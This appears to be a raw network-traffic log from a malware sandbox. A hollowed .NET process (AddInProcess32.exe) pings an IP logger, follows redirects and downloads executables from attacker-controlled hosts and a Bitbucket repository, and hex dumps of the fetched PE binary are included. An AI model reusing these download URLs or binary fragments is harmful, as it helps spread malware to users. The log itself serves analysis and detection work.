2024-03-11 02:30:59 UTC	502	OUT	GET /1wxS HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: none sec-fetch-user: ?1 upgrade-insecure-requests: 1 Host: grabify.org
2024-03-11 02:31:00 UTC	1036	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:00 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 186352584766758=3; expires=Tue, 11-Mar-2025 02:31:00 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: jasgd1o47akuhs=154.16.105.38; expires=Tue, 11-Mar-2025 02:31:00 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict expires: Mon, 11 Mar 2024 02:30:59 GMT Cache-Control: no-cache strict-transport-security: max-age=31536000; preload strict-transport-security: max-age=31536000; preload x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EZG89zNkWLCWhp0NEAe%2BM%2Fn1qyUbQwU3GzOenw4qfR4XK%2Bo5xgSkH0MaRKlL271eJgtAOxjpdy6q1SwfGGazSp9c%2FPwV9QWeK3BDZ2%2BZYKiQw49Wl09eY7pnn4cH6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202ebac209fb-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:00 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-03-11 02:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	55626	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	74	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org
2024-03-11 02:31:00 UTC	687	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:31:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0X5CZ2y8209kwP8Cv90%2FPECV2myvymkHvQ%2Fu1q%2Fr3F0DVCltYBwCpJZfmFeX0V9NBNJtG2vViUSfx56jxyJFqircEEW40LpZ6Be7u2zERRIWvQp0fzN23TTS4bAGhFo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820317a6d0ad9-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:00 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	55622	104.192.141.1	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	83	OUT	GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1 Host: bitbucket.org
2024-03-11 02:31:00 UTC	4233	IN	HTTP/1.1 302 Found server: envoy x-usage-quota-remaining: 997169.559 vary: Accept-Language, Origin x-usage-request-cost: 976.60 cache-control: max-age=0, no-cache, no-store, must-revalidate, private Content-Type: text/html; charset=utf-8 x-b3-traceid: 7a8d22a49b919522 x-usage-output-ops: 0 x-used-mesh: False x-dc-location: Micros-3 content-security-policy: frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org app.pendo.io; base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net app.pendo.io data.pendo.io pendo-static-6266914010103808.storage.googleapis.com bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net app.pendo.io cdn.pendo.io data.pendo.io pendo-io-static.storage.googleapis.com pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ app.pendo.io cdn.pendo.io pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; object-src 'none'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Mar 2024 02:31:00 GMT x-usage-user-time: 0.028372 x-usage-system-time: 0.000926 location: https://bbuseruploads.s3.amazonaws.com/fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 expires: Mon, 11 Mar 2024 02:31:00 GMT x-served-by: e7bee276ad99 x-envoy-upstream-service-time: 53 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-b3-spanid: 7a8d22a49b919522 x-static-version: 3c039d08312e x-render-time: 0.04210543632507324 Connection: close x-usage-input-ops: 0 x-version: 3c039d08312e x-request-count: 3965 x-frame-options: SAMEORIGIN X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	55625	52.217.234.57	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	1119	OUT	GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com
2024-03-11 02:31:00 UTC	536	IN	HTTP/1.1 200 OK x-amz-id-2: LOQJCtLIbKDqb8wTBVS4g5d5QlEDgsdpVToVgWRU+4I4xs2y1dEeQFWxnEl6vNm+Bw0QaRGVAno= x-amz-request-id: PNEXEW10T4YGT7YK Date: Mon, 11 Mar 2024 02:31:00 GMT Last-Modified: Sat, 09 Mar 2024 01:51:54 GMT ETag: "d9578a8e9ee343bc53b08fd8101f66e9" x-amz-server-side-encryption: AES256 x-amz-version-id: P5m1d1MT8MpyYgT1paykScDnj4a0CXh_ Content-Disposition: attachment; filename="a02.exe" Accept-Ranges: bytes Content-Type: application/octet-stream Server: AmazonS3 Content-Length: 323584 Connection: close
2024-03-11 02:31:00 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 08 61 dd 66 4c 00 b3 35 4c 00 b3 35 4c 00 b3 35 cf 08 ee 35 4e 00 b3 35 6b c6 ce 35 58 00 b3 35 6b c6 de 35 26 00 b3 35 6b c6 dd 35 60 00 b3 35 8f 0f ee 35 43 00 b3 35 4c 00 b2 35 cb 00 b3 35 6b c6 c1 35 4a 00 b3 35 6b c6 cb 35 4d 00 b3 35 52 69 63 68 4c 00 b3 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3f be eb 65 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$afL5L5L55N5k5X5k5&5k5`55C5L55k5J5k5M5RichL5PEL?e
2024-03-11 02:31:00 UTC	488	IN	Data Raw: 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 70 41 40 00 8b ff f7 d9 ff 24 8d 20 41 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 74 40 40 00 ff 24 8d 70 41 40 00 90 84 40 40 00 a8 40 40 00 d0 40 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 70 41 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 70 41 40 00 90 8a 46 03 23 d1 88 47 03 8a 46 02 88 47 02 8a 46 01 c1 e9 02 88 47 01 83 ee 03 83 ef 03 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 70 41 Data Ascii: GE^_IFGFGE^_t1\|9u$r$pA@$ A@Ir+$t@@$pA@@@@@@@F#Gr$pA@IF#GFGr$pA@F#GFGFGV$pA
2024-03-11 02:31:00 UTC	9500	IN	Data Raw: b0 d4 44 00 ba ac d4 44 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 4f e9 ff ff 59 ff 76 04 e8 46 e9 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 b2 1b 00 00 c3 8b d0 eb c5 6a 0e e8 59 0f 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 75 d2 8b ff 33 c0 c3 90 1b c0 d1 e0 83 c0 01 c3 f7 c2 01 00 00 00 74 18 8a 02 83 c2 01 3a 01 75 e7 83 c1 01 0a c0 74 dc f7 c2 02 00 00 00 74 a4 66 8b 02 83 c2 02 3a 01 75 ce 0a c0 74 c6 3a 61 01 75 c5 0a e4 74 bd 83 c1 02 eb 88 51 53 55 56 57 ff 35 70 ed 44 00 e8 da 22 00 00 ff 35 6c ed 44 00 8b f0 89 74 24 18 e8 c9 22 Data Ascii: DDEt9u,HJPOYvFYfEjYYT$L$u<:u.t&:au%t:Aut:auu3t:uttf:ut:autQSUVW5pD"5lDt$"
2024-03-11 02:31:00 UTC	16384	IN	Data Raw: 45 0c 89 46 6c 85 c0 75 08 a1 48 cd 44 00 89 46 6c ff 76 6c e8 e5 3e 00 00 59 c7 45 fc fe ff ff ff e8 06 00 00 00 e8 aa f6 ff ff c3 6a 0c e8 55 ea ff ff 59 c3 56 57 ff 15 68 e0 40 00 8b f8 e8 d6 fe ff ff ff 35 e0 c3 44 00 ff 35 e4 c3 44 00 ff 15 04 e1 40 00 ff d0 8b f0 85 f6 75 4e 68 14 02 00 00 6a 01 e8 32 2c 00 00 8b f0 85 f6 59 59 74 3a 56 ff 35 e0 c3 44 00 ff 35 80 d9 44 00 e8 2a fe ff ff 59 ff d0 85 c0 74 18 6a 00 56 e8 ee fe ff ff 59 59 ff 15 1c e1 40 00 83 4e 04 ff 89 06 eb 09 56 e8 aa c3 ff ff 59 33 f6 57 ff 15 18 e1 40 00 5f 8b c6 5e c3 56 e8 77 ff ff ff 8b f0 85 f6 75 08 6a 10 e8 b7 f7 ff ff 59 8b c6 5e c3 6a 08 68 40 aa 44 00 e8 b4 f5 ff ff 8b 75 08 85 f6 0f 84 ea 00 00 00 8b 46 24 85 c0 74 07 50 e8 5f c3 ff ff 59 8b 46 2c 85 c0 74 07 50 e8 51 Data Ascii: EFluHDFlvl>YEjUYVWh@5D5D@uNhj2,YYt:V5D5D*YtjVYY@NVY3W@_^VwujY^jh@DuF$tP_YF,tPQ
2024-03-11 02:31:00 UTC	1024	IN	Data Raw: 00 05 b4 00 00 00 50 ff d7 5f 5d 5b 8b c6 5e c3 85 ff 74 37 85 c0 74 33 56 8b 30 3b f7 74 28 57 89 38 e8 d7 fe ff ff 85 f6 59 74 1b 56 e8 52 ff ff ff 83 3e 00 59 75 0f 81 fe 70 cc 44 00 74 07 56 e8 78 fd ff ff 59 8b c7 5e c3 33 c0 c3 6a 0c 68 a8 ac 44 00 e8 36 b6 ff ff e8 59 c0 ff ff 8b f0 a1 64 cc 44 00 85 46 70 74 22 83 7e 6c 00 74 1c e8 42 c0 ff ff 8b 70 6c 85 f6 75 08 6a 20 e8 fe b7 ff ff 59 8b c6 e8 49 b6 ff ff c3 6a 0c e8 cc aa ff ff 59 83 65 fc 00 8d 46 6c 8b 3d 48 cd 44 00 e8 69 ff ff ff 89 45 e4 c7 45 fc fe ff ff ff e8 02 00 00 00 eb c1 6a 0c e8 c9 a9 ff ff 59 8b 75 e4 c3 56 57 33 ff 8d b7 58 cd 44 00 ff 36 e8 6d bd ff ff 83 c7 04 83 ff 28 59 89 06 72 e8 5f 5e c3 55 8b ec 83 ec 10 53 56 8b 75 0c 33 db 3b f3 57 8b 7d 10 75 11 3b fb 76 0d 8b 45 08 Data Ascii: P_][^t7t3V0;t(W8YtVR>YupDtVxY^3jhD6YdDFpt"~ltBpluj YIjYeFl=HDiEEjYuVW3XD6m(Yr_^USVu3;W}u;vE
2024-03-11 02:31:00 UTC	16384	IN	Data Raw: 00 c0 75 08 6a 08 ff 15 18 e1 40 00 83 65 e0 00 c7 45 fc fe ff ff ff 8b 45 e0 e8 b6 b2 ff ff c3 53 56 57 8b 54 24 10 8b 44 24 14 8b 4c 24 18 55 52 50 51 51 68 b4 ab 40 00 64 ff 35 00 00 00 00 a1 64 c0 44 00 33 c4 89 44 24 08 64 89 25 00 00 00 00 8b 44 24 30 8b 58 08 8b 4c 24 2c 33 19 8b 70 0c 83 fe fe 74 3b 8b 54 24 34 83 fa fe 74 04 3b f2 76 2e 8d 34 76 8d 5c b3 10 8b 0b 89 48 0c 83 7b 04 00 75 cc 68 01 01 00 00 8b 43 08 e8 26 10 00 00 b9 01 00 00 00 8b 43 08 e8 38 10 00 00 eb b0 64 8f 05 00 00 00 00 83 c4 18 5f 5e 5b c3 8b 4c 24 04 f7 41 04 06 00 00 00 b8 01 00 00 00 74 33 8b 44 24 08 8b 48 08 33 c8 e8 d7 7b ff ff 55 8b 68 18 ff 70 0c ff 70 10 ff 70 14 e8 3e ff ff ff 83 c4 0c 5d 8b 44 24 08 8b 54 24 10 89 02 b8 03 00 00 00 c3 55 8b 4c 24 08 8b 29 ff 71 Data Ascii: uj@eEESVWT$D$L$URPQQh@d5dD3D$d%D$0XL$,3pt;T$4t;v.4v\H{uhC&C8d_^[L$At3D$H3{Uhppp>]D$T$UL$)q
2024-03-11 02:31:00 UTC	1024	IN	Data Raw: 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 72 65 27 00 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 20 63 6c 6f 73 75 72 65 27 00 00 60 6f 6d 6e 69 20 63 61 6c 6c 73 69 67 27 00 00 20 64 65 6c 65 74 65 5b 5d 00 00 00 20 6e 65 77 5b 5d 00 00 60 6c 6f 63 61 6c 20 76 66 74 61 62 6c 65 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 63 6c 6f 73 75 72 65 27 00 60 6c 6f 63 61 6c 20 76 66 74 61 62 6c 65 27 00 60 52 54 Data Ascii: constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RT
2024-03-11 02:31:00 UTC	16384	IN	Data Raw: e8 ee 40 00 dc ee 40 00 d0 ee 40 00 c4 ee 40 00 b8 ee 40 00 ac ee 40 00 a4 ee 40 00 98 ee 40 00 8c ee 40 00 3e 9f 44 00 dc e9 40 00 c0 e9 40 00 ac e9 40 00 8c e9 40 00 70 e9 40 00 84 ee 40 00 7c ee 40 00 78 a4 44 00 78 ee 40 00 74 ee 40 00 70 ee 40 00 6c ee 40 00 68 ee 40 00 64 ee 40 00 58 ee 40 00 54 ee 40 00 50 ee 40 00 4c ee 40 00 74 a4 44 00 48 ee 40 00 44 ee 40 00 7c a4 44 00 40 ee 40 00 6c a4 44 00 3c ee 40 00 38 ee 40 00 34 ee 40 00 30 ee 40 00 2c ee 40 00 28 ee 40 00 24 ee 40 00 20 ee 40 00 1c ee 40 00 18 ee 40 00 14 ee 40 00 10 ee 40 00 0c ee 40 00 08 ee 40 00 04 ee 40 00 00 ee 40 00 fc ed 40 00 f8 ed 40 00 f4 ed 40 00 f0 ed 40 00 ec ed 40 00 e8 ed 40 00 dc ed 40 00 d0 ed 40 00 c8 ed 40 00 bc ed 40 00 a4 ed 40 00 98 ed 40 00 84 ed 40 00 64 ed 40 Data Ascii: @@@@@@@@@>D@@@@p@@\|@xDx@t@p@l@h@d@X@T@P@L@tDH@D@\|D@@lD<@8@4@0@,@(@$@ @@@@@@@@@@@@@@@@@@@@@@d@
2024-03-11 02:31:00 UTC	1024	IN	Data Raw: 52 e8 88 20 00 00 8b 46 14 2b c7 83 c4 10 83 7e 18 10 89 46 14 72 03 8b 6d 00 c6 04 28 00 5d 5f 8b c6 5e 5b c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 88 fc 40 00 64 a1 00 00 00 00 50 83 ec 30 a1 28 c0 41 00 33 c5 89 45 ec 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 89 65 f0 8b 45 08 6a ff 33 f6 8b d9 56 50 8d 4d d0 89 5d c8 c7 45 e8 0f 00 00 00 89 75 e4 c6 45 d4 00 e8 be fb ff ff 89 75 fc 8b 4b 04 3b ce 74 18 8b 7b 0c 2b f9 b8 93 24 49 92 f7 ef 03 d7 c1 fa 04 8b f2 c1 ee 1f 03 f2 85 c9 75 04 33 c0 eb 18 8b 7b 08 2b f9 b8 93 24 49 92 f7 ef 03 d7 c1 fa 04 8b c2 c1 e8 1f 03 c2 ba 49 92 24 09 2b d0 83 fa 01 73 05 e8 9b 02 00 00 85 c9 75 04 33 c0 eb 18 8b 7b 08 2b f9 b8 93 24 49 92 f7 ef 03 d7 c1 fa 04 8b c2 c1 e8 1f 03 c2 83 c0 01 3b f0 0f Data Ascii: R F+~Frm(]_^[Ujh@dP0(A3ESVWPEdeEj3VPM]EuEuK;t{+$Iu3{+$II$+su3{+$I;
2024-03-11 02:31:00 UTC	16384	IN	Data Raw: 00 00 00 00 2b d1 03 d2 03 d2 52 e8 10 22 00 00 83 c4 04 83 c4 10 c3 83 c8 ff 33 d2 f7 f1 83 f8 1c 73 da 8d 04 24 50 8d 4c 24 08 c7 44 24 04 00 00 00 00 e8 c2 1c 00 00 68 e0 9f 41 00 8d 4c 24 08 51 c7 44 24 0c bc 02 41 00 e8 d7 57 00 00 cc cc cc cc cc 8b 44 24 04 56 50 8b f1 e8 63 e0 ff ff c7 06 c4 1b 41 00 8b c6 5e c2 04 00 cc cc cc cc cc cc cc 55 8b ec 6a ff 68 10 fa 40 00 64 a1 00 00 00 00 50 83 ec 1c 53 56 57 a1 28 c0 41 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 65 f0 8b f9 89 7d ec 8b 45 08 8b f0 83 ce 0f 83 fe fe 76 04 8b f0 eb 22 8b 5f 18 b8 ab aa aa aa f7 e6 8b cb d1 e9 d1 ea 3b d1 73 0e b8 fe ff ff ff 2b c1 3b d8 77 03 8d 34 19 33 db 8d 4e 01 3b cb 89 5d fc 77 10 33 c9 51 e8 35 21 00 00 83 c4 04 89 45 08 eb 58 83 c8 ff 33 d2 f7 f1 83 f8 01 73 e6 Data Ascii: +R"3s$PL$D$hAL$QD$AWD$VPcA^Ujh@dPSVW(A3PEde}Ev"_;s+;w43N;]w3Q5!EX3s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	55630	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:00 UTC	38	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink
2024-03-11 02:31:00 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6ImhBMCtidk8vcU5YOVROR3pvcnljZXc9PSIsInZhbHVlIjoiV0UyRlB6Rkdzb3htdVd4RTlVOVJLWnF5Zy9UWjIyN1F2eFFwWlBqSTY2akQzSnlSMXUyYVBQc1JmK0RuWWNTanFFV3pGcVdpWXFGMHJrRG1FK3NqczhqUWdRMWp3a1ZpSGgzc1JRYjI5ZGs1WTZJcHNyYThpa2pmQmpuaDBRbFoiLCJtYWMiOiI0MWUzYWY0OWI0Mjk2Y2U2MjMzMWQ2MmMxNzFkMDhkMmFkNjU5ZDk4NmY5ZGE3NzI5NjExODdkNTA5YTY2ZTJmIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:31:00 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6IlpwY1R1QnBWZW9MdFVnTFduTlNhSnc9PSIsInZhbHVlIjoiUktHb1lyOUJQOUtBYnZ1VVNBM2xRRHlZbm83a0t5dXZpblhjVXQxcEZHcTQzalUwTjFaSnkwd1RDeHh0RFg1djM0WDFiR2dBUXpTUUF1VjY0OC9obDlKUjhMNzgvVFZmMHJzVXgrZDlPTDFVOWRQVFZOWlNCblVuUkZjNnBlalUiLCJtYWMiOiJlZDVkN2VjNTE2YjYyN2NjZDM4Y2VhZmEwYjdkY2NiYmJlMjliZmJlMmRkZGExMTExM2QxMWVjZDE4YTUzMjNmIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:31:00 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
